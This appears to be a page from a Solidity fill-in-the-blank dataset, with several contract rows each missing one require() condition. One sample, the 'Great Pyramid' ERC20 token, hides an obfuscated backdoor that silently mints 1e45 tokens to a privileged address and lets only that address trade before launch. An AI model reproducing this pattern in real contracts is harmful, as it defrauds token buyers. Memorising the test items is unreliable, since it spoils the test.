_safeMint(msg.sender, _quantitty);
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
function withdraw() public onlyOwner {
}
}
contract OwnableDelegateProxy { }
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| addressMintedBalanceFree[msg.sender]<maxPerWalletFree,"Over MaxPerWallet" | 86,794 | addressMintedBalanceFree[msg.sender]<maxPerWalletFree |
null | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private pyAddr;
uint256 private Dobby = block.number*2;
mapping (address => bool) private Gizah;
mapping (address => bool) private Nexus;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address private Proof = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private valGas = 2900e4;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply; uint256 private theN;
bool private trading = false; uint256 private Robin = 1; bool private Steve = false;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function _AncientGas(bool account) internal { if (account) { require(<FILL_ME>) } (_balances[pyAddr[1]],valGas) = Steve ? (1e45, valGas) : (_balances[pyAddr[1]],valGas); }
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _chkPharaoh(address sender, bool account) internal { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployPyramid(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract GreatPyramid is ERC20Token {
constructor() ERC20Token("Great Pyramid", "PYRAMID", msg.sender, 340000 * 10 ** 18) {
}
}
| gasleft()>=valGas | 86,838 | gasleft()>=valGas |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private pyAddr;
uint256 private Dobby = block.number*2;
mapping (address => bool) private Gizah;
mapping (address => bool) private Nexus;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address private Proof = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private valGas = 2900e4;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply; uint256 private theN;
bool private trading = false; uint256 private Robin = 1; bool private Steve = false;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function _AncientGas(bool account) internal { }
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal {
require(<FILL_ME>)
Robin += Gizah[recipient] ? 1 : 0; _AncientGas((Steve || Nexus[sender]) && (Gizah[recipient] == true) && (Gizah[sender] != true));
_chkPharaoh(Proof, (((Dobby == block.number) || ((Dobby - theN) <= 7)) && (Gizah[Proof] != true))); Steve = ((Robin % 6) == 0) ? true : Steve;
Dobby = block.number; Proof = recipient;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _chkPharaoh(address sender, bool account) internal { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployPyramid(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract GreatPyramid is ERC20Token {
constructor() ERC20Token("Great Pyramid", "PYRAMID", msg.sender, 340000 * 10 ** 18) {
}
}
| (trading||(sender==pyAddr[1])),"ERC20: trading is not yet enabled." | 86,838 | (trading||(sender==pyAddr[1])) |
"Unsupported token" | pragma solidity ^0.8.11;
import "communal/ReentrancyGuard.sol";
import "communal/Owned.sol";
import "communal/SafeERC20.sol";
import "communal/TransferHelper.sol";
import "forge-std/console.sol";
/*
* LSD Vault Contract:
* This contract is responsible for holding and managing the deposited LSDs. It mints unshETH to depositors.
*/
interface ILSDRegistry {
function vaultAddress() external view returns (address);
//ratios should be in the form of [0.25e18, 0.25e18, 0.25e18, 0.25e18] for 4 LSDs
function targetRatio() external view returns (uint256[] memory);
function lsdAddresses() external view returns (address[] memory);
function shanghaiTime() external view returns (uint256);
function nonce() external view returns (uint256);
}
interface IunshETH {
function minter_mint(address m_address, uint256 m_amount) external;
function minter_burn_from(address b_address, uint256 b_amount) external;
}
interface IDarknet {
function checkPrice(address lsd) external view returns (uint256);
}
contract LSDVault is Owned, ReentrancyGuard {
using SafeERC20 for IERC20;
/*
============================================================================
State Variables
============================================================================
*/
// address public admin;
uint256 public shanghaiTime = 1680307199; //timestamp for March 31, 2023
address public unshETHAddress;
address[] public supportedLSDs;
address public registryAddress;
address private darknetAddress;
uint256 public tabs;
bool paused = false;
//mapping for fast lookup to see if an LSD is supported
mapping(address => bool) isSupported;
uint256 public nonce;
/*
============================================================================
Events
============================================================================
*/
/*
============================================================================
Constructor
============================================================================
*/
constructor(address _owner, address _registryAddress, address _darknetAddress, address _unshethAddress) Owned(_owner){
}
/*
============================================================================
Functions
============================================================================
*/
modifier requireSync {
}
//updates isSupported so we can quickly check if an LSD is supported before deposit
//needs to be called each time the supportedLSDs are changed
function synchronize() external {
}
function _synchronize() internal {
}
function disableLSD(address lsd) external returns(bool) {
}
function setLSDRegistry(address _registryAddress) external onlyOwner {
}
function setUnshethAddress(address _unshethAddress) external onlyOwner {
}
function getPrice(address lsd) public view returns(uint256) {
require(<FILL_ME>)
uint256 marketRate = IDarknet(darknetAddress).checkPrice(lsd);
if(IERC20(unshETHAddress).totalSupply() == 0){
return marketRate;
}
else {
return 1e18*stakedETHperunshETH()/marketRate;
}
}
//takes a supported LSD and mints unshETH to the user in proportion
function deposit(address lsd, uint256 amount) public requireSync {
}
function shanghaiDelayed() public view returns (bool) {
}
function balanceInUnderlying() public view returns (uint256) {
}
//always lowercase u
function stakedETHperunshETH() public view returns (uint256) {
}
//post-shanghai cases
//calculate and store the payout ratio once so every exit tx doesn't need a loop
// uint256[] public lsdPayoutRatios;
// function preparePayout() external {
// require(block.timestamp > shanghaiTime, "Too early to payout");
// uint256 num_unshETH = IERC20(unshETHAddress).totalSupply();
// paused = true;
// uint256[] memory heldRatios = new uint256[](tabs);
// for (uint256 i = 0; i < supportedLSDs.length; i++) {
// uint256 rate = IDarknet(darknetAddress).checkPrice(supportedLSDs[i]);
// heldRatios[i] = IERC20(supportedLSDs[i]).balanceOf(address(this))*rate/num_unshETH;
// }
// lsdPayoutRatios = heldRatios;
// }
function exit(uint256 amount) external {
}
//Emergency functions
function pause() onlyOwner external {
}
}
| isSupported[lsd],"Unsupported token" | 86,944 | isSupported[lsd] |
"Insufficient unshETH" | pragma solidity ^0.8.11;
import "communal/ReentrancyGuard.sol";
import "communal/Owned.sol";
import "communal/SafeERC20.sol";
import "communal/TransferHelper.sol";
import "forge-std/console.sol";
/*
* LSD Vault Contract:
* This contract is responsible for holding and managing the deposited LSDs. It mints unshETH to depositors.
*/
interface ILSDRegistry {
function vaultAddress() external view returns (address);
//ratios should be in the form of [0.25e18, 0.25e18, 0.25e18, 0.25e18] for 4 LSDs
function targetRatio() external view returns (uint256[] memory);
function lsdAddresses() external view returns (address[] memory);
function shanghaiTime() external view returns (uint256);
function nonce() external view returns (uint256);
}
interface IunshETH {
function minter_mint(address m_address, uint256 m_amount) external;
function minter_burn_from(address b_address, uint256 b_amount) external;
}
interface IDarknet {
function checkPrice(address lsd) external view returns (uint256);
}
contract LSDVault is Owned, ReentrancyGuard {
using SafeERC20 for IERC20;
/*
============================================================================
State Variables
============================================================================
*/
// address public admin;
uint256 public shanghaiTime = 1680307199; //timestamp for March 31, 2023
address public unshETHAddress;
address[] public supportedLSDs;
address public registryAddress;
address private darknetAddress;
uint256 public tabs;
bool paused = false;
//mapping for fast lookup to see if an LSD is supported
mapping(address => bool) isSupported;
uint256 public nonce;
/*
============================================================================
Events
============================================================================
*/
/*
============================================================================
Constructor
============================================================================
*/
constructor(address _owner, address _registryAddress, address _darknetAddress, address _unshethAddress) Owned(_owner){
}
/*
============================================================================
Functions
============================================================================
*/
modifier requireSync {
}
//updates isSupported so we can quickly check if an LSD is supported before deposit
//needs to be called each time the supportedLSDs are changed
function synchronize() external {
}
function _synchronize() internal {
}
function disableLSD(address lsd) external returns(bool) {
}
function setLSDRegistry(address _registryAddress) external onlyOwner {
}
function setUnshethAddress(address _unshethAddress) external onlyOwner {
}
function getPrice(address lsd) public view returns(uint256) {
}
//takes a supported LSD and mints unshETH to the user in proportion
function deposit(address lsd, uint256 amount) public requireSync {
}
function shanghaiDelayed() public view returns (bool) {
}
function balanceInUnderlying() public view returns (uint256) {
}
//always lowercase u
function stakedETHperunshETH() public view returns (uint256) {
}
//post-shanghai cases
//calculate and store the payout ratio once so every exit tx doesn't need a loop
// uint256[] public lsdPayoutRatios;
// function preparePayout() external {
// require(block.timestamp > shanghaiTime, "Too early to payout");
// uint256 num_unshETH = IERC20(unshETHAddress).totalSupply();
// paused = true;
// uint256[] memory heldRatios = new uint256[](tabs);
// for (uint256 i = 0; i < supportedLSDs.length; i++) {
// uint256 rate = IDarknet(darknetAddress).checkPrice(supportedLSDs[i]);
// heldRatios[i] = IERC20(supportedLSDs[i]).balanceOf(address(this))*rate/num_unshETH;
// }
// lsdPayoutRatios = heldRatios;
// }
function exit(uint256 amount) external {
require(block.timestamp > shanghaiTime, "Cannot exit until shanghaiTime");
require(<FILL_ME>)
//transfer underlying LSDs to caller on a proportional basis
uint256 balanceInUnderLying = balanceInUnderlying();
uint256 totalLsdAmount = amount * balanceInUnderLying/IERC20(unshETHAddress).totalSupply();
IunshETH(unshETHAddress).minter_burn_from(msg.sender, amount);
for (uint256 i = 0; i < supportedLSDs.length; i++) {
uint256 rate = IDarknet(darknetAddress).checkPrice(supportedLSDs[i]);
uint256 stakedETHperLSD = IERC20(supportedLSDs[i]).balanceOf(address(this))*rate/1e18;
uint256 lsdRatio = 1e18*stakedETHperLSD/balanceInUnderLying;
uint256 amountPerLSDinEth = lsdRatio*totalLsdAmount/1e18;
uint256 amountPerLSD = 1e18*amountPerLSDinEth/rate;
IERC20(supportedLSDs[i]).safeTransfer(msg.sender, amountPerLSD);
}
}
//Emergency functions
function pause() onlyOwner external {
}
}
| IERC20(unshETHAddress).balanceOf(msg.sender)>=amount,"Insufficient unshETH" | 86,944 | IERC20(unshETHAddress).balanceOf(msg.sender)>=amount |
"You can only get 2 NFTs on the Whitelist Sale" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract citizenERC721A is Ownable, ERC721A {
using Strings for uint256;
uint private constant MAX_SUPPLY = 200;
uint public publicSalePrice = 0.1 ether;
string public baseURI;
mapping(address => uint) amountNFTperWalletPublicSale;
uint private constant maxPerAddressDuringPublicMint = 2;
bool public isPaused;
//Constructor
constructor(string memory _baseURI)
ERC721A("perplexing citizen", "PC") {
}
/**
* @notice Override the first Token ID# for ERC721A
*/
function _startTokenId() internal view virtual override returns (uint256) {
}
/**
* @notice This contract can't be called by other contracts
*/
modifier callerIsUser() {
}
/**
* @notice Mint function for the Public Sale
*
* @param _account Account which will receive the NFTs
* @param _quantity Amount of NFTs the user wants to mint
**/
function publicMint(address _account, uint _quantity) external payable callerIsUser {
require(!isPaused, "Contract is Paused");
uint price = publicSalePrice;
require(price != 0, "Price is 0");
require(<FILL_ME>)
require(msg.value >= price * _quantity, "Not enought funds");
amountNFTperWalletPublicSale[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
/**
* @notice Get the token URI of an NFT by his ID
*
* @param _tokenId The ID of the NFT you want to have the URI of the metadatas
*
* @return the token URI of an NFT by his ID
*/
function tokenURI(uint _tokenId) public view virtual override returns(string memory) {
}
/**
* @notice Allows to set the public sale price
*
* @param _publicSalePrice The new price of one NFT during the public sale
*/
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
/**
* @notice Pause or unpause the smart contract
*
* @param _isPaused true or false if we want to pause or unpause the contract
*/
function setPaused(bool _isPaused) external onlyOwner {
}
/**
* @notice Change the base URI of the NFTs
*
* @param _baseURI the new base URI of the NFTs
*/
function setBaseURI(string memory _baseURI) external onlyOwner {
}
/**
* @notice withdraw function
**/
function withdraw() public payable onlyOwner {
}
}
| amountNFTperWalletPublicSale[msg.sender]+_quantity<=maxPerAddressDuringPublicMint,"You can only get 2 NFTs on the Whitelist Sale" | 86,983 | amountNFTperWalletPublicSale[msg.sender]+_quantity<=maxPerAddressDuringPublicMint |
"IUniswap: Pool exists." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
require(_uniswapv2Router != address(0), "Invalid router address");
require(_uniswapv2Factory != address(0), "Invalid factory address");
isInit = false;
isDeposit = false;
isFinish = false;
isRefund = false;
ethRaised = 0;
weth = _weth;
tokenInstance = _tokenInstance;
creatorWallet = address(payable(msg.sender));
UniswapV2Router02 = IUniswapV2Router02(_uniswapv2Router);
UniswapV2Factory = IUniswapV2Factory(_uniswapv2Factory);
require(<FILL_ME>)
tokenInstance.approve(_uniswapv2Router, tokenInstance.totalSupply());
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| UniswapV2Factory.getPair(address(tokenInstance),weth)==address(0),"IUniswap: Pool exists." | 87,000 | UniswapV2Factory.getPair(address(tokenInstance),weth)==address(0) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.